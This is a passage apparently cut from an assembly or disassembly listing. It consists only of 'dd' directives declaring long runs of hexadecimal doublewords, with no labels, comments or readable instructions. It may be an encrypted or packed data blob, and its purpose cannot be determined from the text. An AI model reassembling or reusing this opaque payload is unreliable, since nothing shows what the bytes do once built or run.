0ABEC5712h, 0B139FC4Ah, 0F2347F89h, 52DB0EF6h, 0D6A24EB6h dd 0F275C6FEh, 3BE0B7CDh, 8082E61Dh, 0EFC077D3h, 95E7E605h dd 0E962D48Eh, 2805C485h, 0A9D213BAh, 4CE9A1AEh, 0A35F7368h dd 29E984BBh, 82FF6B94h, 36F87C2Eh, 55C63109h, 25BBE4BDh dd 69DE56CFh, 0C6417B62h, 86681C95h, 96FF2F77h, 72712F6Eh dd 2886CB5Bh, 90BF66EBh, 0BDCE4025h, 0D1060313h, 17B50E41h dd 0FF2E4AA7h, 12086A10h, 1E07EE9h, 0B2F59D5Ah, 0C8587DAFh dd 626CD997h, 4265AA0Ch, 0B736EC2Dh, 0E989C1D4h, 5BB341B7h dd 0C9B5BC43h, 5079F3B0h, 0B745CCDEh, 4F04C517h, 29D3FA67h dd 3E68B1EAh, 0BFE4CDF9h, 0D9C77428h, 2E5B02DDh, 0CDB40BBFh dd 4858FD40h, 56354003h, 204B2360h, 0CC96C80h, 0E94457B2h dd 0F45331FCh, 138448DBh, 73AA7FF6h, 0EDE1521Ch, 0BD3A8139h dd 6157267Bh, 1968D082h, 0FE573610h, 2A421h, 9F348FAFh dd 590CD01h, 0D5528969h, 5C827FD3h, 0C664ED68h, 0E95113D3h dd 0B57D8059h, 562F6825h, 20A8461Eh, 0E9164A30h, 9ED218AEh dd 5535492h, 0D87C9568h, 5F5AEC91h, 52944C76h, 3B04D5DCh dd 0F1066926h, 0FEC920Eh, 0EA80A042h, 4E03771Dh, 87FD2F6h dd 65663825h, 19D627BFh dd 0FAF31DC5h, 2D6C681Eh, 38D1D433h, 0C68C286Dh, 59569EEh dd 35865E3h, 0B6D0C35Eh, 0FAEE1701h, 31EF71BFh, 9010C368h dd 0E14B25D2h, 3B6824C5h, 626CDEC2h, 0E9F158E0h, 0DECC2327h dd 36044FFAh, 1EE596E5h, 5CA21820h, 0AD5FFA56h, 5F290B02h dd 0C52B3824h, 49AFB674h, 4F53965Dh, 65329735h, 641EF49h dd 0D8315DEBh, 0DCCD63E8h, 93E2E14h, 0D155EC51h, 0B688508h dd 0BA973028h, 0BC484A17h, 9FCA0BE2h, 0C7D8C6Ch, 3401F5Fh dd 0F5F2011Dh, 78606B4Ah, 6695Ah, 0D4242AEAh, 9003715Dh dd 8034406Eh, 68EF437h, 0C1BB88F5h, 65DB9F84h, 2EB2E47h dd 6C295F9Bh, 1004677Fh, 45680C01h, 417EF74Fh, 62802AF4h dd 3E7940E6h, 43920129h, 6AE4B525h, 9D4CF0FCh, 0B024F700h dd 0C8B8506Dh, 2B0204Bh, 7BD441EFh, 94154E0h, 0FD297FD8h dd 1E083008h, 0FEA12F01h, 2469B8E9h, 2B4B6884h, 0BD0286A3h dd 601233B2h, 2F707AC1h, 0C8045752h, 0BB5736ADh, 52091EDAh dd 8404AEB2h, 355CBB8h, 0DAE983B4h, 0B1B349BCh, 0A729E804h dd 1440A95Bh, 2C695DBAh, 421605BDh, 16B44273h, 0F8F231C3h dd 831C74D7h, 0EAD201C2h, 3010EB0Eh, 4933E912h, 6D854DDDh dd 4CB6EBC8h, 0AA525C13h, 857B496Dh, 1399AF43h, 0C6E98F84h dd 2CD8EB3Ch, 3D549714h, 0F2BE105Ah, 615F821Bh, 6BE4FDD0h dd 2C519513h, 24658788h, 64E32E02h, 74748053h, 0E9192748h dd 5D7A7E08h, 0F1DBFC7Bh, 5502E674h, 2A533C40h, 0CA2D290h dd 124FB52h, 0EB3973F8h, 525A054Dh, 96E1A2FFh, 5301CCBAh dd 70C0E919h, 40DEC137h, 0B75C9C97h, 92BE375Bh, 0F4BBEFE5h dd 4A2E6882h, 93C5EB36h, 9BEAD053h, 0BA344B81h, 9EEA6581h dd 87435B02h, 0D48A0599h, 703B1F2Dh, 0D8F79D5Eh, 2716BDC0h dd 1C33171h, 73BF5958h, 70092326h, 7C0B4CF0h, 24B7B07h dd 55FC8575h, 0E4D04A5Ch, 5290D327h, 5137F05Bh, 0B50BFD28h dd 51FE09BFh, 7E4C72FFh, 0F26CDD2Fh, 0A1F25E6Fh, 0B1E089F4h dd 3C91517Dh, 0AFC4882Ch, 97D294F7h, 3D541AD4h, 0B4D4F8E9h dd 4DC809F3h, 61041F6Fh, 2C31EF79h, 0CC6F4C1Eh, 0FC84F94Ah dd 59BBEC4h, 0EC4D7A68h, 1977C10Eh, 0F253A57h, 8878C56Ah dd 0DD58DE7Bh, 3E5CCD24h, 819527CBh, 99A7AEF0h, 92128B11h dd 95B2AB96h, 31CB2A79h, 0F09790FEh, 5B47DF28h, 0D6A31BBEh dd 6F6264F1h, 72FC8F89h, 5655820Bh, 63027BA8h, 0EB800BB5h dd 8A7BC12Dh, 8996F92Bh, 0A79055Ch, 9D327E81h, 39E8D454h dd 808A215Ah, 4EE32FB7h, 0E4DBA892h, 16BFCAFFh, 0B3A35E54h dd 14FF29DAh, 6CC5BD5Ah, 9D20D7A8h, 18BB07E6h, 0A342AA5Ah dd 147F41B6h, 7431222Fh, 0C97DEBB8h, 1F801319h, 0B2A76852h dd 5A5E2517h, 60ABBEC1h, 76DEC104h, 5C2902BFh, 3C2DC3A8h dd 12600F8Ah, 68813F9Eh, 7A5669D8h, 0DFEB5862h, 826BF58Fh dd 0E8688AE0h, 51A3105Ah, 50752710h, 0F4A8ADC6h, 9A2D1823h dd 96A9FF6Eh, 855FB4DFh, 505C80FCh, 0FD73F468h, 10EB6758h dd 0BA023732h, 0C55F34C6h, 5F00777h, 31281C61h, 0DA56ED45h dd 731675A2h, 12F0E375h, 26BB1ABEh, 1201285h, 3845953Bh dd 1BA56885h, 3F30938Dh, 1C060956h, 35874542h, 1809A2D3h dd 0C537C855h, 62618A0h, 7D380C6Bh, 603AD42Fh, 5BBDE95Ch dd 3A62EEB0h, 0D1C9B2D1h, 0D4422FD7h, 6BBA4557h, 0F6EA04A2h dd 2F99FB77h, 0FDC0A2F7h, 0E35B5D2Fh, 6268510Fh, 0FB31FA43h dd 0FBE1019Fh, 0D82A0F72h, 6C1361F1h, 0C0AE52E4h, 0E63D4D2Dh dd 40962348h, 0FABD5906h, 5F102F93h, 8452DF7Eh, 1BE86F75h dd 68E630E7h, 47BD3CBAh, 5DEE0916h, 50C48D5Eh, 0BB7A13BFh dd 0E91752CFh, 8BCA84F7h, 0B0680ACDh, 0A4A63663h, 5175C825h dd 0FADF2DE9h, 9AF27E8h, 0CFA4F197h, 180E70C4h, 8048CC28h dd 960BC680h, 0C0B0B353h, 0EA502C3Dh, 4FE97CF0h, 87EEEC22h dd 0B6C2DCF1h, 5894066h, 3C90A38h, 0C9C6CB29h, 984B1207h dd 3A015812h, 5A135CBDh, 2B628D3Bh, 32571C00h, 25E03E5h dd 0E907E6C1h, 0B0F74DC2h, 826721F7h, 42776689h, 0E3D8F0CFh dd 0B2F1BC6Eh, 31297C5Eh, 2E565D19h, 9F5E2C28h, 0F09C2D73h dd 7A08C692h, 0EA8100EBh, 3D1A4F4Eh, 0CBBB014Ah, 9CB54952h dd 662E22EFh, 49B4571Fh, 64DCC8C1h, 0AD2E78B8h, 0F58101AEh dd 87479B27h, 34040B3Eh, 495D99E2h, 9FE957CBh, 4BC4BC7Ah dd 50548EFBh, 0CCB57F4Bh, 175C0FAEh, 0F93703C0h, 0D2C2C90Fh dd 0A0C7283Dh, 0F79913EBh, 208C09DFh, 0E6B7F9A3h, 2B6D45C1h dd 2D1D38EAh, 0FBB3140h, 94F63385h, 42B94418h, 52795981h dd 2C6B4B10h, 9D1E7CFEh, 40FB596Dh, 23780FEDh, 4A5D727Fh dd 4EB25814h, 680402BFh, 0D25964A3h, 98975A7h, 0E82762DDh dd 8249DF80h, 68BB8200h, 25E66B73h, 1F2952h, 34A07D0Dh dd 148CF281h, 8552655Ch, 924FE71Fh, 9D84AA60h, 994B081Dh dd 0FB72C4ABh, 0E9BF37CDh, 2895627h, 30079F03h, 79C5E12Fh dd 0C7CE0825h, 0B1042112h, 0BF003D9Dh, 56975B3Bh, 515F0BDh dd 0DA4E62E7h, 65CE0141h, 0BC421545h, 563B8918h, 0ECC9D54Bh dd 9BA2055h, 0C701C3A8h, 0A9C2DBB9h, 3400AF0h, 0E6C1601h dd 5F81167Dh, 537B02Bh, 304A370Bh, 49C6517h, 0BA41E668h dd 7142BE30h, 0E9490ADCh, 50E65033h, 5B95F089h, 52A424B0h dd 7352CD01h, 0FDD08DC1h, 3F34C34Eh, 117F6438h, 0C02CFFF3h dd 0AA8D4CC0h, 0AB19B4A7h, 0E75FF5F2h, 0B3AA9211h, 904C857h dd 0D25D2CBBh, 0C321183Fh, 113B458h, 0E94D5C05h, 31FA49ADh dd 2B314877h, 0AA2A5A99h, 52C6BD60h, 802E4A4Eh, 6932D51Ah dd 0EF01BFB0h, 4527600Eh, 6B5BE9h, 68C32890h, 98B507EEh dd 3980F2DAh, 0E58620F5h, 10DDF694h, 0F268B03Eh, 0B63ED8A6h dd 69E69910h, 0EED81606h, 0F5281241h, 0F7A6AE5Ah, 0BDC3F07Eh dd 0EE67AC71h, 6622F1E7h, 16D67051h, 22A6B0E9h, 89F07438h dd 27A70D07h, 0C5A43998h, 0B001A4B8h, 0FE483488h, 9A04BEC8h dd 552EDE23h, 0FB249EEDh, 0F6C0BF92h, 28662Dh, 565F74E3h dd 0EB46853h, 0E93F3104h, 78E34E11h, 5DAC9318h, 860030C6h dd 4A05857Fh, 9732161Fh, 7825750h, 41160059h, 0CC50174Eh dd 925A4308h, 8E681238h, 716DAE4Bh, 0A022BC2Eh, 0B78098E9h dd 124F66DEh, 9BF408Ch, 1CAE5575h, 7F5A0100h, 0CC24CB3h dd 405F2A48h, 5C9FEFFAh, 0F64B767Ah, 16843A13h, 0AC01104Ch dd 3F9521D2h, 0B55AD3CCh, 89089278h, 55C0269h, 838A457Ah dd 0E4AC3A1Ch, 7B132A8Dh, 50AE46A8h, 0BF4E0828h, 0F2795829h dd 70D45B8Bh, 90C50E8Bh, 0B082E299h, 4E4D6130h, 3007043Eh dd 0A006849h, 5B598349h, 0D2A565E9h, 8FD0933h, 25B88500h dd 7198102Bh, 7A294F0Fh, 3801C540h, 2A706591h, 5805D536h dd 0AE369045h, 0E4DD23B0h, 3ADB9EF3h, 0A45D7466h, 6C24AFEh dd 5E95CFE9h, 8F688573h, 0C183EC1Dh, 0AEC7DC6h, 9C4D842h dd 0DFFB8BD5h, 6813366Eh, 0A0B643C8h, 6D7BE982h, 2FE4E6DDh dd 0AF1205Fh, 56FADA8Bh, 0BBF16227h, 3A3CEA59h, 2DC8CA94h dd 3B3E7DCEh, 0EE074FA4h, 20674EBh, 0C0DFF509h, 64B1616h dd 0E6C129D3h, 0D83B3002h, 0E093B69h, 4040C7F6h, 0E9F531A4h dd 1ADF5DE8h, 5AC06883h, 0F9CEFA85h, 96779D78h, 805B5C48h dd 6B34E196h, 5CBC29F8h, 119E579Fh, 0D118DC2Dh, 0E95A4545h dd 7D139E1Fh, 0C8510E62h dd 9E71B97Ch, 0C6B224C2h, 7017681h, 0E943AD54h, 7E24F710h dd 4CB00BCDh, 0B7807791h, 51E5678h, 24CC0CC2h, 57C8C03Bh dd 0BF6AAC73h, 10D71762h, 82975A86h, 3BF6BF10h, 22A96812h dd 51FCB604h, 0D830AC02h, 54649160h, 0CC7A8082h, 0F656A50Eh dd 99486043h, 0BCF87D31h, 7A49B24Ah, 7095F0A3h, 42400BBFh dd 0A9FF2917h, 0D20BDD1Bh, 25983457h, 77742279h, 39C665EFh dd 4A18E7ABh, 5116EDE9h, 839D9C4Fh, 3429F183h, 0AF4B7163h dd 0B02D5A4Fh, 515B5A02h, 0DE41C588h, 98800514h, 5D6204E2h dd 0C128A056h, 6FEAFA08h, 0F8CB3BBEh, 7F430260h, 8B446182h dd 6550FA2Fh, 3CBE5A89h, 0AC7BE9DDh, 0AD865BB5h, 0A10C4FFEh dd 2D681A35h, 9054753Bh, 0B9B526C0h, 58C50130h, 0E828CC2Ch dd 6888B66h, 0BDEEDD60h, 76568420h, 9F8F9001h, 0D9F0567Ah dd 474AE2B8h, 68B04FFDh, 0C4A92F7Fh, 0A79BDE43h, 80D1B7C1h dd 952D485Ah, 4CC862DBh, 7A139221h, 9A71FA12h, 6974C330h dd 479C2768h, 0E93C3F16h, 5C39CE99h, 92F8AF9h, 52D95A76h dd 0DFB9539Eh, 0B850B860h, 16551657h, 0D17BC029h, 0F37C81E3h dd 7723418h, 0EA280A22h, 0E1405E6Bh, 0AF1CC42Ch, 344B1530h dd 0B5756DE9h, 59669CC8h, 20622C13h, 1FFB313h, 0D075C969h dd 0FABF60E9h, 0DF55EE4Dh, 72BA1E52h, 1B762550h, 1F127D2Dh dd 681BC0FDh, 7FABB53Fh, 0D2D61C55h, 9CAAEF4h, 0FA26BB4Bh dd 51D8208Ah, 2DC38013h, 0A56E4689h, 0F5BC3BBEh, 0A620F100h dd 0EBBD5542h, 5F4A2C71h, 5E0540F9h, 0C3095230h, 0D94EFD66h dd 0B22EDCFFh, 0ABFC375Bh, 0E90BB058h, 0B15B70A6h, 437BF425h dd 484E2774h, 0EFA463ACh, 645EFD8Eh, 62E1BD32h, 7F50023Bh dd 0F0276594h, 10087A58h, 2A104108h, 9158EB1h, 4A9C1C5Fh dd 0CCD927F7h, 0DF9A865h, 0BF350202h, 61D3B1D4h, 0B56CC08Ah dd 0F6CCFE00h, 46EC80DCh, 1968660Eh, 0B6F99851h, 0F8F4E0E6h dd 1C88765Ah, 9C1D0458h, 2CF00E26h, 0D04CBC9Ch, 54C62525h dd 3209F3DFh, 909F7220h, 2E7C951Fh, 4F814897h, 2CDCC831h dd 49519D83h, 93E902C9h, 9AF60B37h, 20D9003h, 423DE172h dd 3CAF18A5h, 0E564173Fh, 789D01CBh, 0B4DC7867h, 680947E7h dd 0D4300B0Eh, 79B59F83h, 1DD2AFA6h, 0B94ECDFAh, 42C83F31h dd 6F98005h, 6D48F301h, 955B7DD5h, 0CE280EC1h, 0B5CC04DCh dd 43F98525h, 35EE8098h, 4A701DF2h, 79105F5Bh, 4E1E3FD1h dd 1EACF28h, 0B0089F56h, 17619E9h, 0FBC8FD35h, 0EBF8D205h dd 3684E5F2h, 49414D3h, 16EB505Bh, 97204509h, 212A74E5h dd 0B20C3E61h, 823FCD57h, 0DF840C32h, 6F0AE116h, 6713D0F3h dd 0D3B6E9F2h, 0BE2B4AB1h, 0EC81EE64h, 0CF936AF7h, 0DA56EEC2h dd 1488CFE9h, 0DA4A753Fh, 0BA3852EBh, 27E9408Ch, 1BFD25B2h dd 8097925Ah, 0A5213B6Eh, 0B9510040h, 7DC77247h, 891EE181h dd 626DCA2Bh, 181F4404h, 0CCBF485Eh, 3BB95D70h, 5917FA02h dd 0F6EBE03Dh, 9813767Ch, 606801B5h, 0D8F7282Eh, 4D70F2E9h dd 0BDC696B7h, 4257EE12h, 0CBA002B8h, 144D5C7Ah, 957F08C3h dd 136B0659h, 367400CFh, 0E955163Fh, 16D33041h, 0D108E400h dd 13F281EAh, 4C653E3h, 0ACCDBB99h, 0B701DF60h, 6EFC0D8h dd 0C449BC3Ah, 0ECBA2A08h, 52E4B765h, 9F5FFCA8h, 545312B3h dd 2D68D62Ch, 78982F65h, 7EBDBFA3h, 0DAE6C9D6h, 9F42D6BFh dd 8005A0C6h, 0FE88AAF7h, 3A823074h, 7FF462E9h, 684CED66h dd 82C1628Bh, 24420941h, 0D3922151h, 3592D74Fh, 62FB9349h dd 0F95F5328h, 34E96138h, 94783CE2h, 0E33725E4h, 0A3EAFC72h dd 7D44C36Fh, 0DF018CFFh, 8E228F32h, 44DFC0Ch, 0D9AA5925h dd 3B58F566h, 4245C331h, 0BA607849h, 6812D45Bh, 4A05E71Eh dd 89C14661h, 4519675Fh, 0AB1CCFF7h, 57272E28h, 54FFBD31h dd 0AAF8BF7Dh, 0C32D4743h, 299681D3h, 497B1BCAh, 927F502Dh dd 3880C72h, 780C6847h, 305A557Ah, 0E25F32A6h, 21AE4A4Bh dd 4338C12h, 34EBDF16h, 0D8F9EAC8h, 5104F84Bh, 292C01F1h dd 0B542E6CBh, 0B8E93B02h, 0F680D5A0h, 0F32730EDh, 99465F5Ah dd 885E8EF2h, 4A8945E0h, 7E6DCD4Fh, 0AC689D93h, 71A698AAh dd 0E427644Ah, 0CF56F937h, 0A82AFC08h, 0BFCBFED5h, 1898A478h dd 0CAFFA04Eh, 0CAF85FC9h, 2345A1h, 18F06853h, 9C65274Eh dd 0F9B53FD7h, 0E81B8BC9h, 16B314FDh, 0CC4A4368h, 3B4E9F0Eh dd 5AA48131h, 3FEE8101h, 0EA5ACFB8h, 55F9C121h, 0C41120A8h dd 1622FD90h, 459E2504h, 0F9DA8CEEh, 316B7713h, 5152B1E4h dd 0C7330ABAh, 65484C71h, 0D753E780h, 26090D05h, 4A64A223h dd 0FAFCC458h, 0FC592F3Eh, 1F0185F0h, 0E977FD54h, 0EC7B6FD6h dd 0C893DFDAh, 0BEE55FBCh, 34B14298h, 0FEF0E928h, 355069F6h dd 0BF167051h, 535ABFFCh, 191F09DEh, 1EFF6E29h, 2D73BE1Ah dd 68508177h, 277674DAh, 0F410A32Fh, 64274C16h, 64085F12h dd 2AE22408h, 0FFBD34D2h, 0D597C003h, 0B3B89D0Ah, 16994830h dd 271384BBh, 0E573011h, 7C62A1D5h, 0F7E15F09h, 0BE5B0740h dd 47AE13FEh, 48C5BFB0h, 0F9C6C2BBh, 0E158FD10h, 9668F96Fh dd 0D180E021h, 8187242Bh, 2574393Eh, 0C3BC2A80h, 0D7F7030Bh dd 1797BF00h, 589F2A27h, 3E7007C8h, 9E94523h, 86B8A560h dd 4791704h, 0FAC25648h, 0B3C121D4h, 0C72882Ch, 335F2FCAh dd 0C0B3E9C3h, 508C3C32h, 0E6BF6F32h, 5C516277h, 5DFA4F05h dd 1048B409h, 9BA2D757h, 0CCEB322Bh, 612D7FC7h, 0D1EC3073h dd 9F5F7640h, 790926D4h, 9AF35721h, 173CB38Eh, 11E139EAh dd 1032585Ah, 0EC2E29C3h, 0CB01240Ch, 95082046h, 3EDF462Bh dd 4F6D21ADh, 7EB42FBCh, 0E699A898h, 0E04A5BBFh, 0BEDEF962h dd 7E81CAFEh, 0C3F26AF8h, 5CBBF86Dh, 0C31AC37Ch, 0B7B5FE1h dd 29168E7Eh, 0EDE05BDAh, 4EEA6CC1h, 85FF8235h, 6291E921h dd 0AE0B0E95h, 0C14257C1h, 0A027C275h, 4DDB685Ch, 26199065h dd 60589DB9h, 68C8BF0Fh, 9253152Ah, 608F4F20h, 0C5C95087h dd 147DFC0Dh, 9FECA94Ah, 13ECB6A4h, 0AEF653EFh, 8C279658h dd 0F59DB1F4h, 42018C8h, 84D78853h, 45BE90Dh, 3B1468E2h dd 3D484EF2h, 5220DF46h, 2C3ED8E0h, 0D1A9A50Fh, 0D85D692Eh dd 9E5495ABh, 2A49D1h, 0FEA0B60Fh, 0E60FC0CEh, 0C9DEF607h dd 0C5FB69AAh, 7B94F83Eh, 8F4C5F24h, 0F60574BBh, 83B652D1h dd 0C147E684h, 0E6AFDAF7h, 42A599Ch, 0F5446BB9h, 0E18B824Bh dd 74D382A7h, 3F1CA96Ah, 848D12E0h, 0DBEE794Ah, 3597BC08h dd 5AFEF480h, 5542A297h, 8AB0A51h, 5012EF06h, 10A63A0h dd 3B85CC2h, 2CA33DF6h, 5CEC4A13h, 6F2B8FB1h, 5512B0B6h dd 0B5E9E95Dh, 12AA8BAEh, 75AD3968h, 0F581102Fh, 216DEB80h dd 0D5C3D5E6h, 74BB2B59h, 52F7AA9Dh, 407BF551h, 5BD9F2D6h dd 87F61F3Ah, 1B0081D3h, 0CB03E79Ah, 8AF74A29h, 0F8311780h dd 0E9A430EBh, 0C9BD18D5h, 0FBC9EFBBh, 607CE7E9h, 5B673502h dd 0E9C1E8C5h, 0C8A1246Dh, 0C1DA85A3h, 2DB15100h, 0CB0EDC80h dd 228701F1h, 5AD101ADh, 0CA88DC50h, 0FE97E912h, 7D22F68Dh dd 125A5F50h, 0A83C486Eh, 607E0E2Eh, 0F9E7C022h, 0B518A307h dd 27B02443h, 75E464E9h, 0FA37424Fh, 0D89069B4h, 5F883AB0h dd 0AAB6C4C6h, 5206D58Bh, 96C18851h, 0BE95917h, 1F047552h dd 762106E6h, 0C6343070h, 995ED03Fh, 0EE10DE01h, 6F53E900h dd 0B243DEBCh, 31CAD1ECh dd 9EF53Ch, 0B0B43326h, 9FFECE89h, 0E780CF9Ch, 759B54D8h dd 4AC74C83h, 1DE46578h, 2F0E87C3h, 4DDF29CEh, 2E692D37h dd 4984F5B0h, 0DD128450h, 0A15B105Bh, 4E47B204h, 45A6AB34h dd 4AEA8A4Ah, 7E9ECDAFh, 6C510221h, 89D3FE04h, 0D02ED2FDh dd 0AFEBF1Eh, 4A43FEDBh, 9B6BC7CDh, 3342807Ch, 0A0770B42h dd 0FFACFEC3h, 48C3FA0Eh, 0FAD6AEEBh, 53621ECCh, 0E102A45Ah dd 2E73432Fh, 26D8DD60h, 8615FD24h, 0B2710B1Bh, 1379FE98h dd 5185BFB9h, 3C5214ABh, 0E3665127h, 0A16BC92Eh, 4EEBE958h dd 51C49337h, 79B6A7C1h, 479705C0h, 54C110D7h, 32342DCDh dd 542B405Ch, 395BE4ECh, 0B489B8BDh, 7A891776h, 46985DC2h dd 14972177h, 7502982Bh, 17B88028h, 2BDC5F00h, 4007E8C1h dd 4B6BFE57h, 0C4BFF30Fh, 24FEE8B5h, 0B890521h, 0BAB03442h dd 70E58737h, 0E73BEFB9h, 0E35FD3CCh, 18BF4E7Ch, 91FB2A22h dd 0DA6223AAh, 0A941CCFFh, 0F23FF916h, 0ED81DD8Dh, 59204046h dd 79310C87h, 0CD011229h, 80DDB62h, 914040Ch, 0F5A7D4D9h dd 0A80C5468h, 5590C1E6h, 0F46001FBh, 14525E05h, 4B708B40h dd 0A8778C58h, 0EC88501Ch, 6567E79Fh, 0C780879Dh, 74020910h dd 1F482DA4h, 496F05D5h, 67D06F94h, 0F160181Ah, 5E8D7A1Dh dd 70A7A060h, 1D305C5Bh, 9F504068h, 74AD085Bh, 51D7E9DAh dd 579660E8h, 0F5F82F9Bh, 750D9269h, 52885E45h, 3EA04DBAh dd 22FDBF5h, 5F2A32C1h, 8A03C74h, 0A640AA98h, 8A2E9705h dd 2A49EAB3h, 3410F52Dh, 6BFC27EDh, 57CA83B5h, 0A9BE841Fh dd 0F9DFDF5Bh, 0D0AABDD6h, 43ED9B8h, 37111B58h, 1EA416E7h dd 0E280D3C4h, 2611A4CEh, 29D574Ch, 0F3E2AD13h, 1FDFFC75h dd 5275DCEAh, 0B0B2FC22h, 5B15F4Ch, 0E9FE8708h, 4BDBB8AEh dd 4073CFA7h, 530F351Ch, 45C0AF8Ah, 28A9E393h, 665968C2h dd 63259A4Ch, 60CB5E58h, 0CA933B9h, 0F5BED90h, 0C49682E3h dd 4580C180h, 0A8D52E28h, 3A3FA1EBh, 9092F0F7h, 0E22FF5D2h dd 0CA04487Fh, 5BF378EAh, 409433C2h, 9011E69h, 0E2D15FFAh dd 2B7CC07Dh, 0F5E525A5h, 0EBF2B658h, 84339A0Dh, 0B82E6E21h dd 0F2E90901h, 0B9667F6Fh, 0C6595801h, 0E1D14153h, 8B0E40CEh dd 999B129Dh, 0B4CBAF09h, 0BF0E6E7Ah, 736FEDC1h, 4F603CFEh dd 7FBB00D7h, 6F0C40ADh, 9A204CE5h, 0A4688093h, 2CE15E95h dd 3CC4C25Fh, 8481125Eh, 90BDC44h, 0FE496470h, 2FBCB492h dd 0DA33C1F6h, 16028113h, 0B51C9AF8h, 311A0F59h, 0A5F477E0h dd 3D4F875Ah, 48E57709h, 3B7FA620h, 0AE042C28h, 0C0124260h dd 0D6C673ACh, 0CB5AAACCh, 0A1C841EAh, 2266A105h, 0EEF02BFh dd 0E1DB5695h, 0B80029BDh, 0D0013BD6h, 2A5C350Ch, 23606902h dd 0AFD5D350h, 0FD011369h, 61D985D1h, 0C0BEC7Bh, 46608EEFh dd 0AFF75F01h, 0D1A5B34h, 0E6F2D552h, 3076AE7h, 0FE74535Dh dd 1C80FFB0h, 0DCC045EEh, 3C6FEE06h, 0F809F692h, 7B1E6011h dd 0B15AF588h, 65CAC22Ah, 0C98B565Dh, 0A192467Ah, 289421E0h dd 629CF9CBh, 29046CFEh, 0D15D69C0h, 0CD8104EDh, 870602D2h dd 1EE98962h, 0C9912056h, 479D4612h, 3380E8C4h, 0F2E319CAh dd 9EC2FCE9h, 2C5B838Dh, 0C0C7C30h, 0CAD2394Ah, 2BE338C3h dd 99F63BADh, 681708A0h, 5C8C511Bh, 12E3EACh, 0D04B459h dd 0C2A06CBBh, 0D5521FC0h, 5069C725h, 0E268208Dh, 0F0EA893Bh dd 0D50E1B69h, 0B4F1579h, 7A4E902Fh, 0F40F8344h, 16A705D7h dd 95D908h, 0D839FBB8h, 0F090D76h, 573B1E66h, 506062D8h dd 0C0E0ED83h, 6036BE5h, 5B812202h, 2DD891E8h, 11B4C0Fh dd 37B68495h, 3B773AB9h, 0EECBE66Eh, 0A92FEFDDh, 348B13CAh dd 970CABAh, 0D9443668h, 7432823Fh, 9F0035B0h, 0ED3F7F75h dd 3E40F930h, 0CF020438h, 6667186Dh, 937F85Fh, 9990E70Fh dd 1708C654h, 0F38005B8h, 3BA00934h, 0F52C18FFh, 0C04C4C0Bh dd 0A3229813h, 0C129107Ch, 80DA8A2Eh, 516602C4h, 0D15FB450h dd 0C9CA8992h, 177A5A5Ah, 6B66AF01h, 296C9FFAh, 515AD694h dd 91464BDh, 0DD427F36h, 446FF9DDh, 5E91B8F0h, 0D768D602h dd 318554Dh, 65BB4FB4h, 0E109FF25h, 0F8F0608Bh, 31D6D095h dd 2B537A2Eh, 52D0124h, 907776C8h, 5080788Dh, 75EAC359h dd 2E091348h, 8850054Ah, 3220EAE2h, 0E5D18951h, 51C18444h dd 270454D7h, 0B1E69587h, 0DD842125h, 0D248F267h, 2B85BD8h dd 17180503h, 0F02D2428h, 0B97DC669h, 0D15425F3h, 8E68175Ch dd 8323372Ch, 0DF120A88h, 62FA40EBh, 0F7705825h, 8FFF524Ah dd 0BBB75FE6h, 0EA4AAE17h, 0BB994C8h, 67522E12h, 448A03FDh dd 0C0214854h, 0D4B2ABB5h, 0BA4E7090h, 0BF4BF0CEh, 4EE91CDCh dd 82A05F4Bh, 11514921h, 955A0AF7h, 7B1C0426h, 86A0F5AFh dd 0A739E950h, 0D45147BEh, 6604237Ch, 0BA1FF9B9h, 0FC9CBA76h dd 13925BEh, 4133CAF7h, 0B8364B5Eh, 0BAF64E12h, 1A10F2E2h dd 0D18B4EA0h, 4D31CA4Ch, 0E8CD051Eh, 292D10F4h, 584D5EE8h dd 5F2833DBh, 10E68C6Bh, 9C719F26h, 910B5028h, 765DF7CFh dd 0C65E2D82h, 0F2D83EFh, 113D857h, 685600D8h, 1B8F7C90h dd 6090525Eh, 36C42C4Eh, 5C0771FEh, 7E292E51h, 4E16A629h dd 7843934Dh, 7D206389h, 0DB5724D9h, 0FD40092Dh, 5F95154Eh dd 0E97DC0BCh, 0EBE8404Bh, 2D415F92h, 93055370h, 89283977h dd 0DC42D6C2h, 11310604h, 193F0C4Bh, 8543BC7Eh, 0CB895AD1h dd 6DE1DFBCh, 0E1C101EFh, 0F4D94A70h, 4364906h, 0CCB65209h dd 16925057h, 0EA2CC828h, 54577DC0h, 0D0F9B55Fh, 0E31568D8h dd 3D3326Ah, 486EF7E1h, 63166691h, 0C9007208h, 8290123Fh dd 0B6EB5C89h, 0EF400C49h, 0C4E04AE9h, 0C038BDDCh, 5125B753h dd 32FD5888h, 5B5BD520h, 18E93DEBh, 4A27E9CCh, 701576B1h dd 0D69DCB80h, 0BDB56043h, 0E917EB30h, 1CA2DEBAh, 2D046F04h dd 2191C149h, 3EC0CED6h, 4082BCC4h, 3D5F9CDBh, 3C9025B5h dd 0A3BB0078h, 0C17C8E69h, 0DAE09DE3h, 0E60A9A2Ch, 0CADD89C8h dd 8141E410h, 1F9C6D30h, 537FE10Eh, 0BC42513Ah, 0A9CD2578h dd 0C9CFDCF9h, 87AD418Eh, 9D2FB889h, 63C331E8h, 897C6202h dd 0E0055FFEh, 0B528C1F2h, 26074088h, 0FFC8A7D7h, 0A19FA35Ch dd 6E7A6830h, 0B5B4CC2Eh, 5640732Dh, 83542D0h, 0E0CE9549h dd 0C8A39C72h, 4C540BE2h, 5F65680Bh, 5EF9A89Bh, 0DE253A21h dd 4250A71Fh, 45BF214Ah, 0BC0515h, 4E283610h, 0FA4EA5E8h dd 0AA5E08CEh, 0FA32B44Bh, 8847C100h, 0D05859EFh, 8998873Ch dd 6E6A6055h, 8131978Ah, 3E595271h, 6AC57934h, 4BF7E2BFh dd 0A85675FFh, 9F1584E5h, 0E9FA78BEh, 26AEDE59h, 7302A2ADh dd 0C4482920h, 48389796h, 0DB6CB22h, 0C00AB640h, 23034BE6h dd 7E2F2848h, 6A13728Ah, 2F60E9D6h, 0FAF6685Ah, 623BF2BEh dd 73E2A8h, 2C07E0C0h, 0B03A50FAh, 0FE099E44h, 70D8F6CBh dd 77542097h, 6CFDB902h, 5581450Fh, 796651C0h, 0F6003790h dd 29CBA8FAh, 30515FF9h, 0EE7C595Eh, 948DC39h, 33820480h dd 0E97753h, 0B1700841h, 0A0791F5Bh, 41F3D009h, 230CA008h dd 7229FC97h, 73DDA0CAh, 1876412h, 0E5E9535Ch, 0E84BE678h dd 90E11CD8h, 43BC9E4h, 0F128E4C1h, 0C0903D85h, 48E16866h dd 8884510Ah, 57F4FEECh, 1CD48464h, 43CE1769h, 447F258Dh dd 177F559Fh, 902F31B1h, 80ACB6DDh, 7431C931h, 